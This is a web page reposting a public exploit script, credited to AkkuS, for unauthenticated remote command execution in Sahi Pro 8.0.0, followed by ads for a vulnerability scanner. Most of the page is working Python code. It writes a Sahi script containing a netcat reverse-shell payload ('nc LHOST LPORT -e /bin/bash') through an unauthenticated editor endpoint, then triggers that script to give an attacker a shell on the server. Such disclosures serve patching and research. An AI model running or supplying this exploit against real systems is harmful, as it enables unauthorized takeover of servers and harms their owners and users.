sahi pro 8.0.0 remote command execution

▸▸▸ Exploit & Vulnerability >>   webapps exploit & java vulnerability




sahi pro 8.0.0 remote command execution Code Code...
				
# Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution # Date: 2019-07-12 # Exploit Author: Özkan Mustafa Akkuş (AkkuS) # Contact: https://pentest.com.tr # Vendor Homepage: https://sahipro.com # Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar # Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html # Version: 8.0.0 # Category: Webapps # Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux # Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor. # It is possible to execute commands on the server using the function "_execute()". # This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session. # It can take 5-20 seconds to receive session. # ================================================================== # PoC: #!/usr/bin/python import sys, requests import colorama, random, urllib from colorama import Fore def bannerche(): print ''' @-------------------------------------------------------------@ | Sahi Pro v8.x - Unauthenticated RCE Exploit | | Vulnerability discovered by AkkuS | | My Blog - https://pentest.com.tr | @-------------------------------------------------------------@ ''' bannerche() def check_nc(rhost,lport): choose = str(raw_input(Fore.RED + "+ [!] Do you listening "+rhost+" "+lport+" with netcat? (y/n): ")) if choose == "n": return False else: return True def execute_command(rhost,rport,filename): runuri = "http://"+rhost+":"+rport+"/_s_/sprm/_s_/dyn/Player_setScriptFile" runheaders = {"Connection": "close"} rundata = "dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F&file="+filename+"&starturl=&manual=0" runsah = requests.post(runuri, headers=runheaders, data=rundata) if runsah.status_code == 200: print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...") else: print (Fore.RED + "+ [X] Failed to run script.") sys.exit() def create_sah(rhost,rport,scdir,lhost,lport): filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah" payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+"" saheaders = {"Connection": "close"} sahreq = requests.get(sahuri, headers=saheaders) if sahreq.status_code == 200: print (Fore.GREEN + "+ [*] "+filename+" script created successfully!") execute_command(rhost,rport,filename) else: print (Fore.RED + "+ [X] Failed to create "+filename+" script.") sys.exit() def main(): if (len(sys.argv) != 6): print "[*] Usage: poc.py <RHOST> <RPORT> <SCDIR> <LHOST> <LPORT>" print "[*] <RHOST> -> Target IP" print "[*] <RPORT> -> Target Port" print "[*] <SCDIR> -> Target Script Directory" print "[*] <LHOST> -> Attacker IP" print "[*] <LPORT> -> Attacker Port" print "[*] Example: poc.py 192.168.1.2 9999 /root/sahi_pro/userdata/scripts/ 192.168.1.9 4444" exit(0) rhost = sys.argv[1] rport = sys.argv[2] scdir = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] if not check_nc(rhost,rport): print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!") else: create_sah(rhost,rport,scdir,lhost,lport) if __name__ == "__main__": main()

Sahi pro 8.0.0 remote command execution Vulnerability / Exploit Source : Sahi pro 8.0.0 remote command execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.